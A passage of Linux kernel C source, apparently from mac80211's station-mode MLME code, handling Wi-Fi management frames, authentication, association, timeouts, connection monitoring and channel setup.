*) skb->cb; mgmt = (struct ieee80211_mgmt *) skb->data; fc = le16_to_cpu(mgmt->frame_control); sdata_lock(sdata); switch (fc & IEEE80211_FCTL_STYPE) { case IEEE80211_STYPE_BEACON: ieee80211_rx_mgmt_beacon(sdata, mgmt, skb->len, rx_status); break; case IEEE80211_STYPE_PROBE_RESP: ieee80211_rx_mgmt_probe_resp(sdata, skb); break; case IEEE80211_STYPE_AUTH: ieee80211_rx_mgmt_auth(sdata, mgmt, skb->len); break; case IEEE80211_STYPE_DEAUTH: ieee80211_rx_mgmt_deauth(sdata, mgmt, skb->len); break; case IEEE80211_STYPE_DISASSOC: ieee80211_rx_mgmt_disassoc(sdata, mgmt, skb->len); break; case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: ieee80211_rx_mgmt_assoc_resp(sdata, mgmt, skb->len); break; case IEEE80211_STYPE_ACTION: if (mgmt->u.action.category == WLAN_CATEGORY_SPECTRUM_MGMT) { ies_len = skb->len - offsetof(struct ieee80211_mgmt, u.action.u.chan_switch.variable); if (ies_len < 0) break; ieee802_11_parse_elems( mgmt->u.action.u.chan_switch.variable, ies_len, true, &elems); if (elems.parse_error) break; ieee80211_sta_process_chanswitch(sdata, rx_status->mactime, rx_status->device_timestamp, &elems, false); } else if (mgmt->u.action.category == WLAN_CATEGORY_PUBLIC) { ies_len = skb->len - offsetof(struct ieee80211_mgmt, u.action.u.ext_chan_switch.variable); if (ies_len < 0) break; ieee802_11_parse_elems( mgmt->u.action.u.ext_chan_switch.variable, ies_len, true, &elems); if (elems.parse_error) break; /* for the handling code pretend this was also an IE */ elems.ext_chansw_ie = &mgmt->u.action.u.ext_chan_switch.data; ieee80211_sta_process_chanswitch(sdata, rx_status->mactime, rx_status->device_timestamp, &elems, false); } break; } sdata_unlock(sdata); } static void ieee80211_sta_timer(unsigned long data) { struct ieee80211_sub_if_data *sdata = (struct ieee80211_sub_if_data *) data; ieee80211_queue_work(&sdata->local->hw, &sdata->work); } static void ieee80211_sta_connection_lost(struct ieee80211_sub_if_data *sdata, u8 *bssid, u8 reason, bool tx) { u8 frame_buf[IEEE80211_DEAUTH_FRAME_LEN]; ieee80211_set_disassoc(sdata, IEEE80211_STYPE_DEAUTH, reason, tx, frame_buf); cfg80211_tx_mlme_mgmt(sdata->dev, frame_buf, IEEE80211_DEAUTH_FRAME_LEN); } static int ieee80211_probe_auth(struct ieee80211_sub_if_data *sdata) { struct ieee80211_local *local = sdata->local; struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; struct ieee80211_mgd_auth_data *auth_data = ifmgd->auth_data; u32 tx_flags = 0; sdata_assert_lock(sdata); if (WARN_ON_ONCE(!auth_data)) return -EINVAL; auth_data->tries++; if (auth_data->tries > IEEE80211_AUTH_MAX_TRIES) { sdata_info(sdata, "authentication with %pM timed out\n", auth_data->bss->bssid); /* * Most likely AP is not in the range so remove the * bss struct for that AP. */ cfg80211_unlink_bss(local->hw.wiphy, auth_data->bss); return -ETIMEDOUT; } drv_mgd_prepare_tx(local, sdata); if (auth_data->bss->proberesp_ies) { u16 trans = 1; u16 status = 0; sdata_info(sdata, "send auth to %pM (try %d/%d)\n", auth_data->bss->bssid, auth_data->tries, IEEE80211_AUTH_MAX_TRIES); auth_data->expected_transaction = 2; if (auth_data->algorithm == WLAN_AUTH_SAE) { trans = auth_data->sae_trans; status = auth_data->sae_status; auth_data->expected_transaction = trans; } if (local->hw.flags & IEEE80211_HW_REPORTS_TX_ACK_STATUS) tx_flags = IEEE80211_TX_CTL_REQ_TX_STATUS | IEEE80211_TX_INTFL_MLME_CONN_TX; ieee80211_send_auth(sdata, trans, auth_data->algorithm, status, auth_data->data, auth_data->data_len, auth_data->bss->bssid, auth_data->bss->bssid, NULL, 0, 0, tx_flags); } else { const u8 *ssidie; sdata_info(sdata, "direct probe to %pM (try %d/%i)\n", auth_data->bss->bssid, auth_data->tries, IEEE80211_AUTH_MAX_TRIES); rcu_read_lock(); ssidie = ieee80211_bss_get_ie(auth_data->bss, WLAN_EID_SSID); if (!ssidie) { rcu_read_unlock(); return -EINVAL; } /* * Direct probe is sent to broadcast address as some APs * will not answer to direct packet in unassociated state. */ ieee80211_send_probe_req(sdata, sdata->vif.addr, NULL, ssidie + 2, ssidie[1], NULL, 0, (u32) -1, true, 0, auth_data->bss->channel, false); rcu_read_unlock(); } if (tx_flags == 0) { auth_data->timeout = jiffies + IEEE80211_AUTH_TIMEOUT; auth_data->timeout_started = true; run_again(sdata, auth_data->timeout); } else { auth_data->timeout = round_jiffies_up(jiffies + IEEE80211_AUTH_TIMEOUT_LONG); auth_data->timeout_started = true; run_again(sdata, auth_data->timeout); } return 0; } static int ieee80211_do_assoc(struct ieee80211_sub_if_data *sdata) { struct ieee80211_mgd_assoc_data *assoc_data = sdata->u.mgd.assoc_data; struct ieee80211_local *local = sdata->local; sdata_assert_lock(sdata); assoc_data->tries++; if (assoc_data->tries > IEEE80211_ASSOC_MAX_TRIES) { sdata_info(sdata, "association with %pM timed out\n", assoc_data->bss->bssid); /* * Most likely AP is not in the range so remove the * bss struct for that AP. */ cfg80211_unlink_bss(local->hw.wiphy, assoc_data->bss); return -ETIMEDOUT; } sdata_info(sdata, "associate with %pM (try %d/%d)\n", assoc_data->bss->bssid, assoc_data->tries, IEEE80211_ASSOC_MAX_TRIES); ieee80211_send_assoc(sdata); if (!(local->hw.flags & IEEE80211_HW_REPORTS_TX_ACK_STATUS)) { assoc_data->timeout = jiffies + IEEE80211_ASSOC_TIMEOUT; assoc_data->timeout_started = true; run_again(sdata, assoc_data->timeout); } else { assoc_data->timeout = round_jiffies_up(jiffies + IEEE80211_ASSOC_TIMEOUT_LONG); assoc_data->timeout_started = true; run_again(sdata, assoc_data->timeout); } return 0; } void ieee80211_mgd_conn_tx_status(struct ieee80211_sub_if_data *sdata, __le16 fc, bool acked) { struct ieee80211_local *local = sdata->local; sdata->u.mgd.status_fc = fc; sdata->u.mgd.status_acked = acked; sdata->u.mgd.status_received = true; ieee80211_queue_work(&local->hw, &sdata->work); } void ieee80211_sta_work(struct ieee80211_sub_if_data *sdata) { struct ieee80211_local *local = sdata->local; struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; sdata_lock(sdata); if (ifmgd->status_received) { __le16 fc = ifmgd->status_fc; bool status_acked = ifmgd->status_acked; ifmgd->status_received = false; if (ifmgd->auth_data && (ieee80211_is_probe_req(fc) || ieee80211_is_auth(fc))) { if (status_acked) { ifmgd->auth_data->timeout = jiffies + IEEE80211_AUTH_TIMEOUT_SHORT; run_again(sdata, ifmgd->auth_data->timeout); } else { ifmgd->auth_data->timeout = jiffies - 1; } ifmgd->auth_data->timeout_started = true; } else if (ifmgd->assoc_data && (ieee80211_is_assoc_req(fc) || ieee80211_is_reassoc_req(fc))) { if (status_acked) { ifmgd->assoc_data->timeout = jiffies + IEEE80211_ASSOC_TIMEOUT_SHORT; run_again(sdata, ifmgd->assoc_data->timeout); } else { ifmgd->assoc_data->timeout = jiffies - 1; } ifmgd->assoc_data->timeout_started = true; } } if (ifmgd->auth_data && ifmgd->auth_data->timeout_started && time_after(jiffies, ifmgd->auth_data->timeout)) { if (ifmgd->auth_data->done) { /* * ok ... we waited for assoc but userspace didn't, * so let's just kill the auth data */ ieee80211_destroy_auth_data(sdata, false); } else if (ieee80211_probe_auth(sdata)) { u8 bssid[ETH_ALEN]; memcpy(bssid, ifmgd->auth_data->bss->bssid, ETH_ALEN); ieee80211_destroy_auth_data(sdata, false); cfg80211_auth_timeout(sdata->dev, bssid); } } else if (ifmgd->auth_data && ifmgd->auth_data->timeout_started) run_again(sdata, ifmgd->auth_data->timeout); if (ifmgd->assoc_data && ifmgd->assoc_data->timeout_started && time_after(jiffies, ifmgd->assoc_data->timeout)) { if ((ifmgd->assoc_data->need_beacon && !ifmgd->have_beacon) || ieee80211_do_assoc(sdata)) { struct cfg80211_bss *bss = ifmgd->assoc_data->bss; ieee80211_destroy_assoc_data(sdata, false); cfg80211_assoc_timeout(sdata->dev, bss); } } else if (ifmgd->assoc_data && ifmgd->assoc_data->timeout_started) run_again(sdata, ifmgd->assoc_data->timeout); if (ifmgd->flags & IEEE80211_STA_CONNECTION_POLL && ifmgd->associated) { u8 bssid[ETH_ALEN]; int max_tries; memcpy(bssid, ifmgd->associated->bssid, ETH_ALEN); if (local->hw.flags & IEEE80211_HW_REPORTS_TX_ACK_STATUS) max_tries = max_nullfunc_tries; else max_tries = max_probe_tries; /* ACK received for nullfunc probing frame */ if (!ifmgd->probe_send_count) ieee80211_reset_ap_probe(sdata); else if (ifmgd->nullfunc_failed) { if (ifmgd->probe_send_count < max_tries) { mlme_dbg(sdata, "No ack for nullfunc frame to AP %pM, try %d/%i\n", bssid, ifmgd->probe_send_count, max_tries); ieee80211_mgd_probe_ap_send(sdata); } else { mlme_dbg(sdata, "No ack for nullfunc frame to AP %pM, disconnecting.\n", bssid); ieee80211_sta_connection_lost(sdata, bssid, WLAN_REASON_DISASSOC_DUE_TO_INACTIVITY, false); } } else if (time_is_after_jiffies(ifmgd->probe_timeout)) run_again(sdata, ifmgd->probe_timeout); else if (local->hw.flags & IEEE80211_HW_REPORTS_TX_ACK_STATUS) { mlme_dbg(sdata, "Failed to send nullfunc to AP %pM after %dms, disconnecting\n", bssid, probe_wait_ms); ieee80211_sta_connection_lost(sdata, bssid, WLAN_REASON_DISASSOC_DUE_TO_INACTIVITY, false); } else if (ifmgd->probe_send_count < max_tries) { mlme_dbg(sdata, "No probe response from AP %pM after %dms, try %d/%i\n", bssid, probe_wait_ms, ifmgd->probe_send_count, max_tries); ieee80211_mgd_probe_ap_send(sdata); } else { /* * We actually lost the connection ... or did we? * Let's make sure! */ wiphy_debug(local->hw.wiphy, "%s: No probe response from AP %pM" " after %dms, disconnecting.\n", sdata->name, bssid, probe_wait_ms); ieee80211_sta_connection_lost(sdata, bssid, WLAN_REASON_DISASSOC_DUE_TO_INACTIVITY, false); } } sdata_unlock(sdata); } static void ieee80211_sta_bcn_mon_timer(unsigned long data) { struct ieee80211_sub_if_data *sdata = (struct ieee80211_sub_if_data *) data; struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; if (sdata->vif.csa_active && !ifmgd->csa_waiting_bcn) return; sdata->u.mgd.connection_loss = false; ieee80211_queue_work(&sdata->local->hw, &sdata->u.mgd.beacon_connection_loss_work); } static void ieee80211_sta_conn_mon_timer(unsigned long data) { struct ieee80211_sub_if_data *sdata = (struct ieee80211_sub_if_data *) data; struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; struct ieee80211_local *local = sdata->local; if (sdata->vif.csa_active && !ifmgd->csa_waiting_bcn) return; ieee80211_queue_work(&local->hw, &ifmgd->monitor_work); } static void ieee80211_sta_monitor_work(struct work_struct *work) { struct ieee80211_sub_if_data *sdata = container_of(work, struct ieee80211_sub_if_data, u.mgd.monitor_work); ieee80211_mgd_probe_ap(sdata, false); } static void ieee80211_restart_sta_timer(struct ieee80211_sub_if_data *sdata) { u32 flags; if (sdata->vif.type == NL80211_IFTYPE_STATION) { __ieee80211_stop_poll(sdata); /* let's probe the connection once */ flags = sdata->local->hw.flags; if (!(flags & IEEE80211_HW_CONNECTION_MONITOR)) ieee80211_queue_work(&sdata->local->hw, &sdata->u.mgd.monitor_work); /* and do all the other regular work too */ ieee80211_queue_work(&sdata->local->hw, &sdata->work); } } #ifdef CONFIG_PM void ieee80211_mgd_quiesce(struct ieee80211_sub_if_data *sdata) { struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; u8 frame_buf[IEEE80211_DEAUTH_FRAME_LEN]; sdata_lock(sdata); if (ifmgd->auth_data || ifmgd->assoc_data) { const u8 *bssid = ifmgd->auth_data ? ifmgd->auth_data->bss->bssid : ifmgd->assoc_data->bss->bssid; /* * If we are trying to authenticate / associate while suspending, * cfg80211 won't know and won't actually abort those attempts, * thus we need to do that ourselves. */ ieee80211_send_deauth_disassoc(sdata, bssid, IEEE80211_STYPE_DEAUTH, WLAN_REASON_DEAUTH_LEAVING, false, frame_buf); if (ifmgd->assoc_data) ieee80211_destroy_assoc_data(sdata, false); if (ifmgd->auth_data) ieee80211_destroy_auth_data(sdata, false); cfg80211_tx_mlme_mgmt(sdata->dev, frame_buf, IEEE80211_DEAUTH_FRAME_LEN); } /* This is a bit of a hack - we should find a better and more generic * solution to this. Normally when suspending, cfg80211 will in fact * deauthenticate. However, it doesn't (and cannot) stop an ongoing * auth (not so important) or assoc (this is the problem) process. * * As a consequence, it can happen that we are in the process of both * associating and suspending, and receive an association response * after cfg80211 has checked if it needs to disconnect, but before * we actually set the flag to drop incoming frames. This will then * cause the workqueue flush to process the association response in * the suspend, resulting in a successful association just before it * tries to remove the interface from the driver, which now though * has a channel context assigned ... this results in issues. * * To work around this (for now) simply deauth here again if we're * now connected. */ if (ifmgd->associated && !sdata->local->wowlan) { u8 bssid[ETH_ALEN]; struct cfg80211_deauth_request req = { .reason_code = WLAN_REASON_DEAUTH_LEAVING, .bssid = bssid, }; memcpy(bssid, ifmgd->associated->bssid, ETH_ALEN); ieee80211_mgd_deauth(sdata, &req); } sdata_unlock(sdata); } void ieee80211_sta_restart(struct ieee80211_sub_if_data *sdata) { struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; sdata_lock(sdata); if (!ifmgd->associated) { sdata_unlock(sdata); return; } if (sdata->flags & IEEE80211_SDATA_DISCONNECT_RESUME) { sdata->flags &= ~IEEE80211_SDATA_DISCONNECT_RESUME; mlme_dbg(sdata, "driver requested disconnect after resume\n"); ieee80211_sta_connection_lost(sdata, ifmgd->associated->bssid, WLAN_REASON_UNSPECIFIED, true); sdata_unlock(sdata); return; } sdata_unlock(sdata); } #endif /* interface setup */ void ieee80211_sta_setup_sdata(struct ieee80211_sub_if_data *sdata) { struct ieee80211_if_managed *ifmgd; ifmgd = &sdata->u.mgd; INIT_WORK(&ifmgd->monitor_work, ieee80211_sta_monitor_work); INIT_WORK(&ifmgd->chswitch_work, ieee80211_chswitch_work); INIT_WORK(&ifmgd->beacon_connection_loss_work, ieee80211_beacon_connection_loss_work); INIT_WORK(&ifmgd->csa_connection_drop_work, ieee80211_csa_connection_drop_work); INIT_WORK(&ifmgd->request_smps_work, ieee80211_request_smps_mgd_work); INIT_DELAYED_WORK(&ifmgd->tdls_peer_del_work, ieee80211_tdls_peer_del_work); setup_timer(&ifmgd->timer, ieee80211_sta_timer, (unsigned long) sdata); setup_timer(&ifmgd->bcn_mon_timer, ieee80211_sta_bcn_mon_timer, (unsigned long) sdata); setup_timer(&ifmgd->conn_mon_timer, ieee80211_sta_conn_mon_timer, (unsigned long) sdata); setup_timer(&ifmgd->chswitch_timer, ieee80211_chswitch_timer, (unsigned long) sdata); INIT_DELAYED_WORK(&ifmgd->tx_tspec_wk, ieee80211_sta_handle_tspec_ac_params_wk); ifmgd->flags = 0; ifmgd->powersave = sdata->wdev.ps; ifmgd->uapsd_queues = sdata->local->hw.uapsd_queues; ifmgd->uapsd_max_sp_len = sdata->local->hw.uapsd_max_sp_len; ifmgd->p2p_noa_index = -1; if (sdata->local->hw.wiphy->features & NL80211_FEATURE_DYNAMIC_SMPS) ifmgd->req_smps = IEEE80211_SMPS_AUTOMATIC; else ifmgd->req_smps = IEEE80211_SMPS_OFF; /* Setup TDLS data */ spin_lock_init(&ifmgd->teardown_lock); ifmgd->teardown_skb = NULL; ifmgd->orig_teardown_skb = NULL; } /* scan finished notification */ void ieee80211_mlme_notify_scan_completed(struct ieee80211_local *local) { struct ieee80211_sub_if_data *sdata; /* Restart STA timers */ rcu_read_lock(); list_for_each_entry_rcu(sdata, &local->interfaces, list) { if (ieee80211_sdata_running(sdata)) ieee80211_restart_sta_timer(sdata); } rcu_read_unlock(); } int ieee80211_max_network_latency(struct notifier_block *nb, unsigned long data, void *dummy) { s32 latency_usec = (s32) data; struct ieee80211_local *local = container_of(nb, struct ieee80211_local, network_latency_notifier); mutex_lock(&local->iflist_mtx); ieee80211_recalc_ps(local, latency_usec); mutex_unlock(&local->iflist_mtx); return NOTIFY_OK; } static u8 ieee80211_ht_vht_rx_chains(struct ieee80211_sub_if_data *sdata, struct cfg80211_bss *cbss) { struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; const u8 *ht_cap_ie, *vht_cap_ie; const struct ieee80211_ht_cap *ht_cap; const struct ieee80211_vht_cap *vht_cap; u8 chains = 1; if (ifmgd->flags & IEEE80211_STA_DISABLE_HT) return chains; ht_cap_ie = ieee80211_bss_get_ie(cbss, WLAN_EID_HT_CAPABILITY); if (ht_cap_ie && ht_cap_ie[1] >= sizeof(*ht_cap)) { ht_cap = (void *)(ht_cap_ie + 2); chains = ieee80211_mcs_to_chains(&ht_cap->mcs); /* * TODO: use "Tx Maximum Number Spatial Streams Supported" and * "Tx Unequal Modulation Supported" fields. */ } if (ifmgd->flags & IEEE80211_STA_DISABLE_VHT) return chains; vht_cap_ie = ieee80211_bss_get_ie(cbss, WLAN_EID_VHT_CAPABILITY); if (vht_cap_ie && vht_cap_ie[1] >= sizeof(*vht_cap)) { u8 nss; u16 tx_mcs_map; vht_cap = (void *)(vht_cap_ie + 2); tx_mcs_map = le16_to_cpu(vht_cap->supp_mcs.tx_mcs_map); for (nss = 8; nss > 0; nss--) { if (((tx_mcs_map >> (2 * (nss - 1))) & 3) != IEEE80211_VHT_MCS_NOT_SUPPORTED) break; } /* TODO: use "Tx Highest Supported Long GI Data Rate" field? */ chains = max(chains, nss); } return chains; } static int ieee80211_prep_channel(struct ieee80211_sub_if_data *sdata, struct cfg80211_bss *cbss) { struct ieee80211_local *local = sdata->local; struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; const struct ieee80211_ht_cap *ht_cap = NULL; const struct ieee80211_ht_operation *ht_oper = NULL; const struct ieee80211_vht_operation *vht_oper = NULL; struct ieee80211_supported_band *sband; struct cfg80211_chan_def chandef; int ret; sband = local->hw.wiphy->bands[cbss->channel->band]; ifmgd->flags &= ~(IEEE80211_STA_DISABLE_40MHZ | IEEE80211_STA_DISABLE_80P80MHZ | IEEE80211_STA_DISABLE_160MHZ); rcu_read_lock(); if (!(ifmgd->flags & IEEE80211_STA_DISABLE_HT) && sband->ht_cap.ht_supported) { const u8 *ht_oper_ie, *ht_cap_ie; ht_oper_ie = ieee80211_bss_get_ie(cbss, WLAN_EID_HT_OPERATION); if (ht_oper_ie && ht_oper_ie[1] >= sizeof(*ht_oper)) ht_oper = (void *)(ht_oper_ie + 2); ht_cap_ie = ieee80211_bss_get_ie(cbss, WLAN_EID_HT_CAPABILITY); if (ht_cap_ie && ht_cap_ie[1] >= sizeof(*ht_cap)) ht_cap = (void *)(ht_cap_ie + 2); if (!ht_cap) { ifmgd->flags |= IEEE80211_STA_DISABLE_HT; ht_oper = NULL; } } if (!(ifmgd->flags & IEEE80211_STA_DISABLE_VHT) && sband->vht_cap.vht_supported) { const u8 *vht_oper_ie, *vht_cap; vht_oper_ie = ieee80211_bss_get_ie(cbss, WLAN_EID_VHT_OPERATION); if (vht_oper_ie && vht_oper_ie[1] >= sizeof(*vht_oper)) vht_oper = (void *)(vht_oper_ie + 2); if (vht_oper && !ht_oper) { vht_oper = NULL; sdata_info(sdata, "AP advertised VHT without HT, disabling both\n"); ifmgd->flags |= IEEE80211_STA_DISABLE_HT; ifmgd->flags |= IEEE80211_STA_DISABLE_VHT; } vht_cap = ieee80211_bss_get_ie(cbss, WLAN_EID_VHT_CAPABILITY); if (!vht_cap || vht_cap[1] < sizeof(struct ieee80211_vht_cap)) { ifmgd->flags |= IEEE80211_STA_DISABLE_VHT; vht_oper = NULL; } } ifmgd->flags |= ieee80211_determine_chantype(sdata, sband, cbss->channel, ht_cap, ht_oper, vht_oper, &chandef, false); sdata->needed_rx_chains = min(ieee80211_ht_vht_rx_chains(sdata, cbss), local->rx_chains); rcu_read_unlock(); /* will change later if needed */ sdata->smps_mode = IEEE80211_SMPS_OFF; mutex_lock(&local->mtx); /* * If this fails (possibly due to channel context sharing * on incompatible channels, e.g. 80+80 and 160 sharing the * same control channel) try to use a smaller bandwidth. */ ret = ieee80211_vif_use_channel(sdata, &chandef, IEEE80211_CHANCTX_SHARED); /* don't downgrade for 5 and 10 MHz channels, though. */ if (chandef.width == NL80211_CHAN_WIDTH_5 || chandef.width == NL80211_CHAN_WIDTH_10) goto out; while (ret && chandef.width != NL80211_CHAN_WIDTH_20_NOHT) { ifmgd->flags |= ieee80211_chandef_downgrade(&chandef); ret = ieee80211_vif_use_channel(sdata, &chandef, IEEE80211_CHANCTX_SHARED); } out: mutex_unlock(&local->mtx); return ret; } static int ieee80211_prep_connection(struct ieee80211_sub_if_data *sdata, struct cfg80211_bss *cbss, bool assoc) { struct ieee80211_local *local = sdata->local; struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; struct ieee80211_bss *bss = (void *)cbss->priv; struct sta_info *new_sta = NULL; struct ieee80211_supported_band *sband; struct ieee80211_sta_ht_cap sta_ht_cap; bool have_sta = false, is_override = false; int err; sband = local->hw.wiphy->bands[cbss->channel->band]; if (WARN_ON(!ifmgd->auth_data && !ifmgd->assoc_data)) return -EINVAL; if (assoc) { rcu_read_lock(); have_sta = sta_info_get(sdata, cbss->bssid); rcu_read_unlock(); } if (!have_sta) { new_sta = sta_info_alloc(sdata, cbss->bssid, GFP_KERNEL); if (!new_sta) return -ENOMEM; } memcpy(&sta_ht_cap, &sband->ht_cap, sizeof(sta_ht_cap)); ieee80211_apply_htcap_overrides(sdata, &sta_ht_cap); is_override = (sta_ht_cap.cap & IEEE80211_HT_CAP_SUP_WIDTH_20_40) != (sband->ht_cap.cap & IEEE80211_HT_CAP_SUP_WIDTH_20_40); if (new_sta || is_override) { err = ieee80211_prep_channel(sdata, cbss); if (err) { if (new_sta) sta_info_free(local, new_sta); return -EINVAL; } } if (new_sta) { u32 rates = 0, basic_rates = 0; bool have_higher_than_11mbit; int min_rate = INT_MAX, min_rate_index = -1; struct ieee80211_chanctx_conf *chanctx_conf; const struct cfg80211_bss_ies *ies; int shift = ieee80211_vif_get_shift(&sdata->vif); u32 rate_flags; rcu_read_lock(); chanctx_conf = rcu_dereference(sdata->vif.chanctx_conf); if (WARN_ON(!chanctx_conf)) { rcu_read_unlock(); sta_info_free(local, new_sta); return -EINVAL; } rate_flags = ieee80211_chandef_rate_flags(&chanctx_conf->def); rcu_read_unlock(); ieee80211_get_rates(sband, bss->supp_rates, bss->supp_rates_len, &rates, &basic_rates, &have_higher_than_11mbit, &min_rate, &min_rate_index, shift, rate_flags); /* * This used to be a workaround for basic rates missing * in the association response frame. Now that we no * longer use the basic rates from there, it probably * doesn't happen any more, but keep the workaround so * in case some *other* APs are buggy in different ways * we can connect -- with a warning. */ if (!basic_rates && min_rate_index >= 0) { sdata_info(sdata, "No basic rates, using min rate instead\n"); basic_rates = BIT(min_rate_index); } new_sta->sta.supp_rates[cbss->channel->band] = rates; sdata->vif.bss_conf.basic_rates = basic_rates; /* cf. IEEE 802.11 9.2.12 */ if (cbss->channel->band == IEEE80211_BAND_2GHZ && have_higher_than_11mbit) sdata->flags |= IEEE80211_SDATA_OPERATING_GMODE; else sdata->flags &= ~IEEE80211_SDATA_OPERATING_GMODE; memcpy(ifmgd->bssid, cbss->bssid, ETH_ALEN); /* set timing information */ sdata->vif.bss_conf.beacon_int = cbss->beacon_interval; rcu_read_lock(); ies = rcu_dereference(cbss->beacon_ies); if (ies) { const u8 *tim_ie; sdata->vif.bss_conf.sync_tsf = ies->tsf; sdata->vif.bss_conf.sync_device_ts = bss->device_ts_beacon; tim_ie = cfg80211_find_ie(WLAN_EID_TIM, ies->data, ies->len); if (tim_ie && tim_ie[1] >= 2) sdata->vif.bss_conf.sync_dtim_count = tim_ie[2]; else sdata->vif.bss_conf.sync_dtim_count = 0; } else if (!(local->hw.flags & IEEE80211_HW_TIMING_BEACON_ONLY)) { ies = rcu_dereference(cbss->proberesp_ies); /* must be non-NULL since beacon IEs were NULL */ sdata->vif.bss_conf.sync_tsf = ies->tsf; sdata->vif.bss_conf.sync_device_ts = bss->device_ts_presp; sdata->vif.bss_conf.sync_dtim_count = 0; } else { sdata->vif.bss_conf.sync_tsf = 0; sdata->vif.bss_conf.sync_device_ts = 0; sdata->vif.bss_conf.sync_dtim_count = 0; } rcu_read_unlock(); /* tell driver about BSSID, basic rates and timing */ ieee80211_bss_info_change_notify(sdata, BSS_CHANGED_BSSID | BSS_CHANGED_BASIC_RATES | BSS_CHANGED_BEACON_INT); if (assoc) sta_info_pre_move_state(new_sta, IEEE80211_STA_AUTH); err = sta_info_insert(new_sta); new_sta = NULL; if (err) { sdata_info(sdata, "failed to insert STA entry for the AP (error %d)\n", err); return err; } } else WARN_ON_ONCE(!ether_addr_equal(ifmgd->bssid, cbss->bssid)); return 0; } /* config hooks */ int ieee80211_mgd_auth(struct ieee80211_sub_if_data *sdata, struct cfg80211_auth_request *req) { struct ieee80211_local *local = sdata->local; struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; struct ieee80211_mgd_auth_data *auth_data; u16 auth_alg; int err; /* prepare auth data structure */ switch (req->auth_type) { case NL80211_AUTHTYPE_OPEN_SYSTEM: auth_alg = WLAN_AUTH_OPEN; break; case NL80211_AUTHTYPE_SHARED_KEY: if (IS_ERR(local->wep_tx_tfm)) return -EOPNOTSUPP; auth_alg = WLAN_AUTH_SHARED_KEY; break; case NL80211_AUTHTYPE_FT: auth_alg = WLAN_AUTH_FT; break; case NL80211_AUTHTYPE_NETWORK_EAP: auth_alg = WLAN_AUTH_LEAP; break; case NL80211_AUTHTYPE_SAE: auth_alg = WLAN_AUTH_SAE; break; default: return -EOPNOTSUPP; } auth_data = kzalloc(sizeof(*auth_data) + req->sae_data_len + req->ie_len, GFP_KERNEL); if (!auth_data) return -ENOMEM; auth_data->bss = req->bss; if (req->sae_data_len >= 4) { __le16 *pos = (__le16 *) req->sae_data; auth_data->sae_trans = le16_to_cpu(pos[0]); auth_data->sae_status = le16_to_cpu(pos[1]); memcpy(auth_data->data, req->sae_data + 4, req->sae_data_len - 4); auth_data->data_len += req->sae_data_len - 4; } if (req->ie && req->ie_len) { memcpy(&auth_data->data[auth_data->data_len], req->ie, req->ie_len); auth_data->data_len += req->ie_len; } if (req->key && req->key_len) { auth_data->key_len = req->key_len; auth_data->key_idx = req->key_idx; memcpy(auth_data->key, req->key, req->key_len); } auth_data->algorithm = auth_alg; /* try to authenticate/probe */ if ((ifmgd->auth_data && !ifmgd->auth_data->done) || ifmgd->assoc_data) { err = -EBUSY; goto err_free; } if (ifmgd->auth_data) ieee80211_destroy_auth_data(sdata, false); /* prep auth_data so we don't go into idle on disassoc */ ifmgd->auth_data = auth_data; if (ifmgd->associated) { u8 frame_buf[IEEE80211_DEAUTH_FRAME_LEN]; ieee80211_set_disassoc(sdata, IEEE80211_STYPE_DEAUTH, WLAN_REASON_UNSPECIFIED, false, frame_buf); cfg80211_tx_mlme_mgmt(sdata->dev, frame_buf, sizeof(frame_buf)); } sdata_info(sdata, "authenticate with %pM\n", req->bss->bssid); err = ieee80211_prep_connection(sdata, req->bss, false); if (err) goto err_clear; err = ieee80211_probe_auth(sdata); if (err) { sta_info_destroy_addr(sdata, req->bss->bssid); goto err_clear; } /* hold our own reference */ cfg80211_ref_bss(local->hw.wiphy, auth_data->bss); return 0; err_clear: eth_zero_addr(ifmgd->bssid); ieee80211_bss_info_change_notify(sdata, BSS_CHANGED_BSSID); ifmgd->auth_data = NULL; err_free: kfree(auth_data); return err; } static bool ieee80211_usable_wmm_params(struct ieee80211_sub_if_data *sdata, const u8 *wmm_param, int len) { const u8 *pos; size_t left; if (len < 8) return false; if (wmm_param[5] != 1 /* version */) return false; pos = wmm_param + 8; left = len - 8; for (; left >= 4; left -= 4, pos += 4) { u8 aifsn = pos[0] & 0x0f; u8 ecwmin = pos[1] & 0x0f; u8 ecwmax = (pos[1] & 0xf0) >> 4; int aci = (pos[0] >> 5) & 0x03; if (aifsn < 2) { sdata_info(sdata, "AP has invalid WMM params (AIFSN=%d for ACI %d), disabling WMM\n", aifsn, aci); return false; } if (ecwmin > ecwmax) { sdata_info(sdata, "AP has invalid WMM params (ECWmin/max=%d/%d for ACI %d), disabling WMM\n", ecwmin, ecwmax, aci); return false; } } return true; } int ieee80211_mgd_assoc(struct ieee80211_sub_if_data *sdata, struct cfg80211_assoc_request *req) { struct ieee80211_local *local = sdata->local; struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; struct ieee80211_bss *bss = (void *)req->bss->priv; struct ieee80211_mgd_assoc_data *assoc_data; const struct cfg80211_bss_ies *beacon_ies; struct ieee80211_supported_band *sband; const u8 *ssidie, *ht_ie, *vht_ie; int i, err; assoc_data = kzalloc(sizeof(*assoc_data) + req->ie_len, GFP_KERNEL); if (!assoc_data) return -ENOMEM; rcu_read_lock(); ssidie = ieee80211_bss_get_ie(req->bss, WLAN_EID_SSID); if (!ssidie) { rcu_read_unlock(); kfree(assoc_data); return -EINVAL; } memcpy(assoc_data->ssid, ssidie + 2, ssidie[1]); assoc_data->ssid_len = ssidie[1]; rcu_read_unlock(); if (ifmgd->associated) { u8 frame_buf[IEEE80211_DEAUTH_FRAME_LEN]; ieee80211_set_disassoc(sdata, IEEE80211_STYPE_DEAUTH, WLAN_REASON_UNSPECIFIED, false, frame_buf); cfg80211_tx_mlme_mgmt(sdata->dev, frame_buf, sizeof(frame_buf)); } if (ifmgd->auth_data && !ifmgd->auth_data->done) { err = -EBUSY; goto err_free; } if (ifmgd->assoc_data) { err = -EBUSY; goto err_free; } if (ifmgd->auth_data) { bool match; /* keep sta info, bssid if matching */ match = ether_addr_equal(ifmgd->bssid, req->bss->bssid); 